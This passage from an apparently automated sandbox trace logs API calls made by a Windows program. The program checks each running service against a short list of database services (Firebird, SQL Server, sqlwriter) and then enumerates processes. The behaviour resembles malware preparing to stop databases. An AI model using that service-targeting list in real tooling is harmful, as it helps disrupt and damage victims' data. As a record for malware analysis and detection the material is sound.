(lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0188.984] lstrlenW (lpString="DcomLaunch") returned 10 [0188.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0188.984] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0188.984] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0188.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0188.985] lstrlenW (lpString="DeviceAssociationService") returned 24 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0188.985] lstrlenW (lpString="Dhcp") returned 4 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0188.985] lstrlenW (lpString="Dnscache") returned 8 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0188.985] lstrlenW (lpString="DPS") returned 3 [0188.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0188.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0188.985] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0188.985] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0188.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0188.986] lstrlenW (lpString="DusmSvc") returned 7 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0188.986] lstrlenW (lpString="EventLog") returned 8 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0188.986] lstrlenW (lpString="EventSystem") returned 11 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0188.986] lstrlenW (lpString="FontCache") returned 9 [0188.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0188.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0188.986] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0188.986] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0188.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0188.987] lstrlenW (lpString="gpsvc") returned 5 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0188.987] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0188.987] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0188.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0188.987] lstrlenW (lpString="iphlpsvc") returned 8 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0188.987] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0188.987] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0188.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0188.987] lstrlenW (lpString="KeyIso") returned 6 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0188.987] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0189.001] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0189.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0189.001] lstrlenW (lpString="LanmanServer") returned 12 [0189.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0189.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0189.001] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0189.001] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0189.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0189.001] lstrlenW (lpString="LanmanWorkstation") returned 17 [0189.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0189.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0189.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0189.002] lstrlenW (lpString="lfsvc") returned 5 [0189.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0189.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0189.002] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0189.002] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0189.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0189.002] lstrlenW (lpString="lmhosts") returned 7 [0189.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0189.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0189.002] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0189.002] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0189.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0189.002] lstrlenW (lpString="LSM") returned 3 [0189.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0189.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0189.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0189.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0189.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0189.002] lstrlenW (lpString="MpsSvc") returned 6 [0189.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0189.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0189.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0189.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0189.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0189.003] lstrlenW (lpString="NcbService") returned 10 [0189.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0189.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0189.003] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0189.003] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0189.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0189.003] lstrlenW (lpString="netprofm") returned 8 [0189.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0189.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0189.004] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0189.004] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0189.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0189.004] lstrlenW (lpString="NgcSvc") returned 6 [0189.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0189.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0189.004] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0189.004] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0189.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0189.004] lstrlenW (lpString="NlaSvc") returned 6 [0189.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0189.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0189.004] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0189.004] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0189.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0189.004] lstrlenW (lpString="nsi") returned 3 [0189.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0189.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0189.004] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0189.004] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0189.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0189.004] lstrlenW (lpString="PcaSvc") returned 6 [0189.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0189.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0189.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0189.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0189.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0189.005] lstrlenW (lpString="PlugPlay") returned 8 [0189.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0189.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0189.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0189.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0189.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0189.005] lstrlenW (lpString="Power") returned 5 [0189.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0189.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0189.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0189.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0189.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0189.005] lstrlenW (lpString="ProfSvc") returned 7 [0189.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0189.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0189.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0189.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0189.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0189.006] lstrlenW (lpString="RpcEptMapper") returned 12 [0189.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0189.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0189.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0189.006] lstrlenW (lpString="RpcSs") returned 5 [0189.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0189.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0189.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0189.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0189.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0189.006] lstrlenW (lpString="SamSs") returned 5 [0189.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0189.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0189.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0189.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0189.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0189.006] lstrlenW (lpString="Schedule") returned 8 [0189.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0189.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0189.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0189.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0189.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0189.007] lstrlenW (lpString="SecurityHealthService") returned 21 [0189.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0189.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0189.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0189.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0189.007] lstrlenW (lpString="SENS") returned 4 [0189.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0189.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0189.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0189.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0189.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0189.007] lstrlenW (lpString="ShellHWDetection") returned 16 [0189.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.007] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0189.007] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0189.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0189.007] lstrlenW (lpString="Spooler") returned 7 [0189.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0189.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0189.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0189.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0189.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0189.008] lstrlenW (lpString="StateRepository") returned 15 [0189.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0189.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0189.008] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0189.008] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0189.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0189.008] lstrlenW (lpString="SysMain") returned 7 [0189.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0189.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0189.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0189.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0189.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0189.008] lstrlenW (lpString="SystemEventsBroker") returned 18 [0189.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0189.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0189.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0189.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0189.008] lstrlenW (lpString="Themes") returned 6 [0189.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0189.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0189.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0189.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0189.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0189.009] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0189.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0189.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0189.009] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0189.009] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0189.009] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0189.009] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x444 [0189.018] Process32FirstW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.019] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0189.022] lstrlenW (lpString="System") returned 6 [0189.022] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0189.023] lstrlenW (lpString="smss.exe") returned 8 [0189.023] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.025] lstrlenW (lpString="csrss.exe") returned 9 [0189.025] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0189.026] lstrlenW (lpString="wininit.exe") returned 11 [0189.026] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.027] lstrlenW (lpString="csrss.exe") returned 9 [0189.027] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0189.028] lstrlenW (lpString="winlogon.exe") returned 12 [0189.029] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0189.030] lstrlenW (lpString="services.exe") returned 12 [0189.030] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0189.031] lstrlenW (lpString="lsass.exe") returned 9 [0189.031] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0189.033] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0189.033] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0189.035] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0189.035] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.036] lstrlenW (lpString="svchost.exe") returned 11 [0189.036] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.037] lstrlenW (lpString="svchost.exe") returned 11 [0189.038] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0189.062] lstrlenW (lpString="dwm.exe") returned 7 [0189.063] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.064] lstrlenW (lpString="svchost.exe") returned 11 [0189.064] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.065] lstrlenW (lpString="svchost.exe") returned 11 [0189.065] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.066] lstrlenW (lpString="svchost.exe") returned 11 [0189.066] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.067] lstrlenW (lpString="svchost.exe") returned 11 [0189.067] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.069] lstrlenW (lpString="svchost.exe") returned 11 [0189.069] Process32NextW (in: hSnapshot=0x444, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.070] lstrlenW 